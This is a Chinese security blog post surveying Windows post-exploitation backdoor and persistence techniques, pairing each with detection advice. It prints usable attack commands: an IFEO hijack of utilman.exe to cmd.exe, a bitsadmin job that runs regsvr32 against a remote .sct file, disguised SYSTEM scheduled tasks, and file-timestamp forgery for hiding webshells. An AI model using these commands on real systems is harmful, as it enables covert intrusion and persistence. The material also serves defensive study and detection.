后渗透篇:常见backdoor和persistence方式方法
常见backdoor和persistence方式方法
系统工具替换后门
Image 劫持辅助工具管理器
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
- 1
- 类似的程序有osk.exe、Narrator.exe、Magnify.exe等。
- 优点:简单
- 缺点:易被检测
- 排查:工具autoruns
后门账号
- 参考文章 Windows系统的帐户隐藏
文件隐藏
attrib命令隐藏
- windows自带命令行工具attrib用来显示或更改文件属性。
* 优点:简单,一般的工具(D盾)扫描不到 - 优点:简单
- 缺点:暂无
- 排查:使用attrib命令或者D盾
使用ADS流隐藏webshell(重点!!)
- 使用ADS流隐藏webshell,目前可过D盾扫描,注意ADS的一句话木马无法直接连接,可以使用php的include去包含执行
文章参考:利用ADS隐藏webshell
文章参考: Windows ADS在渗透测试中的妙用 - 此外应该注意修改文件的timestamp,可使用如下的powershell命令或者使用NewFileTime工具
$(Get-Item ).creationtime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastaccesstime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastwritetime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
example:
Set the last-access time for a file aaa.csv to the current time: $(Get-Item aaa.csv).lastwritetime=$(Get-Date)
Set the creation time of a file foo.txt to November 24, 2015, at 6:00am: $(Get-Item foo.txt).creationtime=$(Get-Date "11/24/2015 06:00 am")
- 1
- 2
- 3
- 4
- 5
- 优点:较难检测
- 缺点:暂无
- 排查: dir /r
计划任务
- schtasks和at命令,例如下面的命令
#from https://github.com/diggles9991/MG/blob/master/XMR/Hook.ps1#L12
# Update scheduled Start Task
SCHTASKS /Delete /tn "AdobeReaderUpdate" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdate" /sc Weekly /d * /st 18:00:00 /tr "powershell.exe C:\Windows\System32\drivers\en-US\etc\Line.ps1"
Update scheduled End Task
SCHTASKS /Delete /tn “AdobeReaderUpdateEnd” /f
SCHTASKS /Create /RU “SYSTEM” /tn “AdobeReaderUpdateEnd” /sc Weekly /d MON,TUE,WED,THU,FRI /st 06:00:00 /tr "powershell.exe Stop-Process -Name $processname"
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 优点:简单
- 缺点:易被检测
- 排查: schtasks /query 命令进行查询或者通过计算机的管理查看,注意在windows的中文版系统中,schtasks命令需要切换字符为美国英语格式,使用命令chcp 437,或者直接工具autoruns。
开机启动项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
等
- 1
- 2
- 3
- 优点:重启权限维持
- 缺点:一般杀软均会拦截
- 排查:一个一个手工查太麻烦,建议直接上autoruns。
服务
sc create [ServerName] binPath= BinaryPathName
- 优点:重启权限维持
- 缺点:一般杀软会拦截
- 排查:工具autoruns
waitfor.exe
- 不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe
详细参考 - 优点:远程主动激活
- 缺点:有waitfor进程
- 排查:通过Process Explorer工具查看是否有waitfor.exe进程,并进一步查看启动参数等。
bitsadmin后门
- Bitsadmin从win7之后操作系统就默认包含,可以用来创建上传或者下载任务。Bistadmin可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。
#创建一个下载任务:
bitsadmin /create backdoor
#添加文档:
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
#设置下载成功之后要执行的命令:
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
#执行任务:
bitsadmin /Resume backdoor
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 可以参考这篇文章
bitsadmin-backdoor-权限维持后门 - 优点:系统自带无需上传
- 缺点:免杀效果一般
- 排查:bitsadmin /list /verbose
WMI后门(重点!)
- 在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的wmi。更多可以参考
- 在empire中有相应的module,作者参考使用了Powersploit里面的代码。
- 后门在系统重启五分钟之内触发且是system权限。
- 优点:无文件,相对来说难以排查
- 缺点:暂无
- 排查:工具autoruns
COM劫持
- 可以参考文章打开文件夹就运行?COM劫持利用新姿势
- 利用CLR实现一种无需管理员权限的后门 "主动型"后门,WMI添加环境变量需要重启系统生效
- 优点:隐藏性较好,autoruns查不到
- 缺点:暂无
- 排查:检查环境变量和注册表键值
meterpreter 权限维持
- meterpreter中的权限维持技术有两种,一种是metsvc的后门(服务后门),另外一种是persistence(注册表后门)
- metsvc 是开机自启动的服务型后门
metsvc代码 - persistence模块是先上传vbs脚本并执行vbs脚本修改注册表HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run从而完成自启动。
persistence代码 - 优点:开机自启动
- 缺点:容易被杀软杀
- 排查:像是这种后门使用autoruns基本都可以排查出来。
Empire persistence模块(重点!!)
- Empire是一款功能非常强大的后渗透攻击框架。其中的persistence模块提供了一系列权限维持方法。
- 工具还把权限维持分为了四大类,userland(普通权限)、elevated(需要高权限)、powerbreach(内存权限维持,重启后失效)、miscellaneous(其它)。
- 通过info命令查看使用方法
更多可以参考文章 - 优点:基本集成了大部分的权限维持方法
- 缺点:暂无
- 排查:工具autoruns
进程注入(重点!!)
- 准确来说进程注入不是后门技术或者权限维持技术,而是一种隐藏技术,这里简单说一下empire的psinject、cobaltstrike的inject和meterpreter中的migrate进程注入,一般可以注入到像是lsass或者explorer这样的进程当中,相对比较隐蔽,较难排查。
- 使用方法这里就不介绍了,主要说一下如何hunting。这篇文章TALES OF A BLUE TEAMER: DETECTING POWERSHELL EMPIRE SHENANIGANS WITH SYSINTERNALS里面介绍了如何hunting empire方法,empire有一些evasion detection机制,其中的网络连接时间设置能有效避开常见主机流量检测工具(包括netstat、tcpview)的检测,文章中也介绍了使用process monitor是最快也是最有效的方法。
- 但是在hunting 进程注入的时候,并没有像文章中说的查找到以起始地址为0x0的线程,但会发现被注入的进程属性里会有.NET Assemblies和.NET Performance两个菜单。如下图所示
- 优点:较难排查
- 缺点:暂无
- 排查:工具process explorer 、process monitor
BDF后门
- BDF(The Backdoor Factory)可用来向可执行文件植入后门,修改程序执行流程,执行添加的payload。
- 参考 利用BDF向EXE文件植入后门
Kali Linux: Backdoor-factory tool - 当拿到内网权限之后,可以在存放公共下载的服务器上给某个软件加上这样的后门。
域环境后门
- 域内配置ACL后门及检测清理
- PasswordchangeNotify
- 域后门相关文章
other
- 除了以上的几种后门和权限维持技术外还有像是dll劫持、一些软件的插件后门、office后门等。
- 抛砖引玉,更多windows backdoor方面最新文章可以关注国外安全研究员Casey Smith@subTee和Adam@Hexacorn。
- 附上本人博客地址,欢迎一起交流学习:> https://kevien.github.io/
Reference
Intranet_Penetration_Tips
Nothing Lasts Forever: Persistence with Empire
</div>
后渗透篇:常见backdoor和persistence方式方法相关推荐
- 后渗透篇:COM劫持及加载技术
滥用COM注册表结构:劫持及加载技术 译文链接:https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-load ...
- 后渗透篇:COM Object hijacking 后门实现思路——劫持CAccPropServicesClass and MMDeviceEnumerator
0x00 前言 在之前的文章<Use CLR to maintain persistence>介绍了通过 CLR 劫持所有 .Net 程序的方法,无需管理员权限,可用作后门.美中不足的是通 ...
- 后渗透篇:劫持技术(lpk.dll劫持游戏注入【Win7 实例】)
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 lpk.dll劫持游戏注入 由于 输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索 DLL文件.首先会尝试从当前程序所在的目 ...
- 后渗透篇:利用Volatility进行入侵痕迹分析
本文利用Volatility进行内存取证,分析入侵攻击痕迹,包括网络连接.进程.服务.驱动模块.DLL.handles.检测进程注入.检测Meterpreter.cmd历史命令.IE浏览器历史记录.启 ...
- 后渗透篇:映像劫持技术
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 映像劫持技术 所谓的映像劫持就是Image File Execution Options(IFEO),位于注册表的 HKEY_LOCAL_MAC ...
- 后渗透篇:Windows 2008 server提权之突破系统权限安装shift后门
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 目录 Windows 2008 server提权之突破系统权限安装shift后门 0x01 前言 0x02 主要操作部分 0x03 主要命令组成 ...
- 后渗透篇:纯手工打造服务器自解压shift后门【详细演示】
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 目录 纯手工打造服务器自解压shift后门 0x01 介绍 0x02 实例演示 纯手工打造服务器自解压shift后门 0x01 介绍 很多时候我 ...
- 后渗透篇:CLSID大全
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 目录 Win10系统CLSID大全介绍 0x01 CLSID大全 Win10系统CLSID大全介绍 还有很多Win10用户都不知道CLS ...
- 从后渗透分析应急响应的那些事儿(二)免杀初识篇
从后渗透分析应急响应的那些事儿(二)免杀初识篇 文章首发于freebuf Tidesec专栏 https://www.freebuf.com/column/204005.html,转载到个人博客记录, ...
最新文章
- 干货!神经网络原来是这样和数学挂钩的
- 云端远程Ubuntu系统进行无桌面Web浏览器自动化测试
- linux 测试本地端口是否打开,有效地测试Linux上的端口是否打开?
- char* 与 LPCTSTR转换
- ASP.NET中自动生成XML文件并通过XSLT显示在网页中的方法
- 事件循环中的宏任务和微任务执行顺序
- K8S专题-基础组件的部署1
- 区块链教程Fabric1.0源代码分析putils(protos/utils工具包)
- Autocad 字体
- 用c语言输入年份 月份 显示天数,java输入月份,年份,显示对应月份的天数,...
- 分享一些光纤模块接口类型有用信息给大家
- python 开机自动切换必应壁纸
- 能量谷算法Energy Valley Optimizer (EVO)附matlab代码
- 等式约束问题-拉格朗日乘子法
- t3营改增服务器不能修改吗,畅捷通T3产品如何同步营改增
- 详解:多模态知识图谱种类及其应用
- 【收藏】锂电材料工厂设备日常保养评分标准
- 带宽、主极点、高频极点、GBW
- 怎样给黑白照片自动上色?
- 对雨林青蛙打太极的动画制作小总结
热门文章
- Excel VS Python 第六期——设置数据索引
- 项目准备三之日志系统使用
- 没有学历可以学计算机编程吗,没学历可以学开发吗?
- python怎么画余弦函数图像与性质_python基础教程:Python绘制正余弦函数图像的方法...
- Slashdot对Bjarne Stroustrup的采访
- redis ,redisson 分布式锁深入剖析
- 悬浮球多功能_FV悬浮球 v1.4.4.1 飞常强大的多功能工具软件
- 计算机四级网络工程师学霸笔记,学霸总结,这样做英语四级轻松过
- 【原】高效办公软件整理
- redis中对象存储内存占用预估和相关对象